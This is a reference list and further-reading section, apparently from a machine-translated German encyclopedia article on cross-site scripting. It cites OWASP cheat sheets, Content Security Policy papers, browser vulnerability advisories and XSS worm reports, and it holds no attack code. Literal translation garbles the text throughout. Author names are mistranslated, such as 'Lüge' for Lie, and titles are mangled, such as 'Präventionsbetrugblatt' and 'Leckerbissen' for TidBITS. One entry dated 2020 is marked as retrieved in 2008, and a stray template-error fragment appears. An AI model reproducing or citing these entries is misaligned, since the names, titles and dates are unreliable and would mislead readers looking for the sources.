- ^ a b c "Cross-Site Scripting". Webanwendungssicherheitskonsortium. 2005. Abgerufen 28. Mai, 2008.
- ^ Grossman, Jeremiah; Hansen, Robert; Fogie, Seth; Petkov, Petko D.; Rager, Anton (2007). XSS -Angriffe: Cross Site Scripting Exploits und Verteidigung (Zusammenfassung). S. 70, 156. ISBN 978-1-59749-154-9. Abgerufen 28. Mai, 2008.
- ^ Dieser Wurm heißt JS/Ofsigel-A, JS/Quickspace.A und Js.qspace, in "JS/Ofsigel-a". Sophos. Archiviert von das Original am 2. August 2009. Abgerufen 5. Juni, 2008. und "F-Secure Malware-Informationsseiten: JS/QuickSpace.a". F-Secure. 5. Januar 2007. Abgerufen 5. Juni, 2008. und "Js.qspace". Symantec Corp. 13. Februar 2007. Abgerufen 5. Juni, 2008.
- ^ Viren und Würmer in Alcorn, Wade (27. September 2005). "Das Cross-Site-Skriptvirus". Bindshell.net. Archiviert von das Original am 16. Mai 2008. Abgerufen 27. Mai, 2008. und Grossman, Jeremiah (November 2020). "Cross-Site-Skriptwürmer und Viren: Die bevorstehende Bedrohung und die beste Verteidigung". Whitehat Sicherheit. p. 20. Abgerufen 6. Juni, 2008.[Permanent Dead Link]
- ^ "Fehler 272620 - XSS -Sicherheitsanfälligkeit in internen Fehlermeldungen". Bugzilla@Mozilla. 2004. Abgerufen 29. Mai, 2008.
- ^ "DOM -basierte XSS". Owasp.
- ^ "JQuery Bug #9521". 2011.
- ^ "DOM -basierte XSS -Präventions -Cheat -Blatt". Owasp.
- ^ "Strenge kontextbezogene Flucht". Angular.js.
- ^ "Selfxss Facebook Betrug versucht, Benutzer dazu zu bringen, sich selbst zu hacken". www.majorgeeks.com. 29. Juli 2014. Abgerufen 20. September, 2016.
- ^ a b c Lakshmanan Ganapathy (16. Februar 2012). "XSS-Angriffsbeispiele (Cross-Site-Skriptangriffe)". www.thegeekstuff.com.
- ^ Brodkin, Jon (4. Oktober 2007). "Die Top 10 Gründe, warum Websites gehackt werden". Netzwerkwelt. Idg. Abgerufen 6. Februar, 2017.
- ^ a b Williams, Jeff (19. Januar 2009). "XSS (Cross Site Scripting) Präventionsbetrugblatt". Owasp. Abgerufen 4. Februar, 2010.
- ^ "Vorlage - Die Go -Programmiersprache". golang.org. Abgerufen 1. Mai, 2019.
- ^ "Google -Entwickler". Google -Entwickler. Abgerufen 1. Mai, 2019.
- ^ "Mops-Plugin-Trusted-Typen". NPM. Abgerufen 1. Mai, 2019.
- ^ Sharma, Anand (3. Februar 2004). "Verhindern Sie einen Cross-Site-Skriptangriff". IBM. Abgerufen 29. Mai, 2008.
- ^ a b "Modsecurity: Merkmale: PDF Universal XSS -Schutz". Verstoß gegen die Sicherheit. Archiviert von das Original am 23. März 2008. Abgerufen 6. Juni, 2008.
- ^ "Ajax und Mashup Sicherheit". OpenAjax Alliance. Archiviert von das Original am 3. April 2008. Abgerufen 9. Juni, 2008.
- ^ O'Reilly, Tim (30. September 2005). "Was ist Web 2.0". O'Reilly Media. S. 4–5. Abgerufen 4. Juni, 2008.
- ^ "Eine Seite sollte funktionieren, auch wenn es in einer erneuten Form ohne JavaScript." in Zammetti, Frank (16. April 2007). Praktische JavaScript-, DOM Scripting- und AJAX -Projekte über Amazon Reader. Apress. p. 36. ISBN 978-1-59059-816-0. Abgerufen 4. Juni, 2008.
- ^ "So verwenden Sie Sicherheitszonen im Internet Explorer". Microsoft. 18. Dezember 2007. Abgerufen 4. Juni, 2008.
- ^ Lüge, Håkon Wium (7. Februar 2006). "Opera 9 Technology Preview 2". Opera -Software. Archiviert von das Original am 17. Mai 2008. Abgerufen 4. Juni, 2008.
- ^ "NoScript". Mozilla. 30. Mai 2008. Abgerufen 4. Juni, 2008. und Mogull, Rich (18. März 2008). "Sollten Mac -Benutzer Antivirus -Software ausführen?". Leckerbissen. Tidbits Publishing. Abgerufen 4. Juni, 2008.
- ^ ""Verwendung von clientseitigen Ereignissen" im DataWindow-Programmierhandbuch ". Sybase. März 2003. archiviert von das Original am 18. Juni 2008. Abgerufen 4. Juni, 2008.
- ^ 73% der Standorte stützten sich Ende 2006 auf JavaScript, in ""Die meisten Websites" fehlschlagen deaktiviert ". BBC News. 6. Dezember 2006. Abgerufen 4. Juni, 2008.
- ^ "NoScript -Funktionen". Abgerufen 7. März, 2009.
- ^ "Inhaltssicherheitsrichtlinie Level 3". www.w3.org. Abgerufen 1. Mai, 2019.
- ^ Weichselbaum, Lukas (2016). "CSP ist tot, lange lebe CSP! Über die Unsicherheit der Whitelisten und die Zukunft der Inhaltssicherheitspolitik" (PDF). Proceedings der ACM SIGSAC -Konferenz 2016 über Computer- und Kommunikationssicherheit. CCS '16: 1376–1387. doi:10.1145/2976749.2978363. ISBN 9781450341394. S2CID 16400010.
- ^ "Kann ich ... Supporttabellen für HTML5, CSS3 usw. verwenden". caniuse.com. Abgerufen 1. Mai, 2019.
- ^ "Strict CSP - Inhaltssicherheitsrichtlinie". csp.withgoogle.com. Abgerufen 1. Mai, 2019.
- ^ "Wie Google die Inhaltssicherheitsrichtlinie verwendet, um Webfehler zu mildern". Eweek. Abgerufen 1. Mai, 2019.
- ^ Akhawe, Devdatta. "[CSP] zur Berichterstattung und Filterung". Dropbox Tech Blog. Abgerufen 1. Mai, 2019.
- ^ Lekies, Sebastian; Kotowicz, Krzysztof; Groß, Samuel; Nava, Eduardo Vela; Johns, Martin (2017). "Code-Rese-Angriffe für das Web: Breaking Cross-Site-Skriptminderungen über Skript-Geräte" (PDF).
{{}}
: Journal zitieren erfordert|journal=
(Hilfe) - ^ "Vertrauenswürdige Typen Spec WIP". wicg.github.io. Abgerufen 1. Mai, 2019.
- ^ L. K. Shar und H. B. K. Tan, "Automatisierte Entfernung von Quergütern der Site -Skriptin in Webanwendungen", Informations- und Softwaretechnologie, vol. 54, (5), S. 467-478, 2012.
- ^ Mark, Goodwin; Mike, West. "Kekse derselben Stelle". Tools.ietf.org. Abgerufen 4. Mai, 2018.
- ^ "Kann ich ... Supporttabellen für HTML5, CSS3 usw. verwenden". caniuse.com. Abgerufen 4. Mai, 2018.
- ^ Di Paola, Stefano (3. Januar 2007). "Adobe Acrobat Reader Plugin - Mehrere Schwachstellen". Wisec.it. Abgerufen 13. März, 2012.
- ^ Suggi Liverani, Roberto (26. April 2017). "UXSS in McAfee Endpoint Security, www.mcafee.com und einige zusätzliche Leckereien ..." blog.malerisch.net. Abgerufen 3. Mai, 2017.
- ^ "Das Sicherheitsloch im Internet Explorer ermöglicht es den Angreifern, willkürliche Programme auszuführen.". Heise Media UK. 16. Mai 2008. Abgerufen 7. Juni, 2008.
- ^ Suggi Liverani, Roberto (21. April 2010). "Cross Context Scripting in Firefox" (PDF). Security-Assessment.com. Abgerufen 3. Mai, 2017.
- ^ "Update für potenzielle HTTP -Header -Injektionsanfälligkeiten im Adobe Flash Player verfügbar". Adobe Systems. 14. November 2006. Abgerufen 7. Juni, 2008.
- ^ Auger, Robert (17. April 2008). "Die FAQ (CSRF/XSRF) -FAQ (Version 1.59)" der Cross-Site-Anfrage (CSRF/XSRF) ". Cgisecurity.com. Abgerufen 7. Juni, 2008.
- ^ Schneider, Christian. "CSRF und gleichorientiert XSS". www.webappsecblog.com. Archiviert von das Original am 14. August 2012. Abgerufen 21. April, 2012.
- ^ "OAuth 2.0 und OpenID Umleitungsverfälligkeit". Hacker News. 2. Mai 2014. Abgerufen 21. Dezember, 2014.
- ^ Scharr, Jill (2. Mai 2014). "Facebook, Google -Benutzer, die von einem neuen Sicherheitsfehler bedroht sind". Toms Führer. Abgerufen 21. Dezember, 2014.
- ^ "SQL-Injektion". Webanwendungssicherheitskonsortium. 2005. Abgerufen 7. Juni, 2008.
- ^ "Die FAQ der Skripten im Cross-Standort". Cgisecurity.com. 2002. Abgerufen 7. Juni, 2008.
- ^ Abgrall, Erwan; Traon, Yves le; Gombault, Sylvain; Monperrus, Martin (2014). "Empirische Untersuchung des Webbrowser-Angriffsoberflächens unter Cross-Site-Scripting: Ein dringender Bedarf an systematischen Sicherheitsregressionstests". 2014 IEEE Siebte internationale Konferenz über Softwaretests, Überprüfungs- und Validierungsworkshops (PDF). S. 34–41. doi:10.1109/ICSTW.2014.63. ISBN 978-1-4799-5790-3. S2CID 8028548.
Weitere Lektüre
- Mackenzie, Thomas. "Scriptalert1.com-präzise kritisseische Skripterklärung in mehreren Sprachen". Abgerufen 24. Oktober, 2015.
- "Das Verhindern von XSS in ASP.NET hat einfach gemacht". Schließ mich ein | Sicherheit für den Alltagsentwickler. 6. Februar 2015. Abgerufen 24. Oktober, 2015.
- "Cross Site Scripting". Das Webanwendungssicherheitskonsortium. 13. Oktober 2005. Abgerufen 24. Oktober, 2015.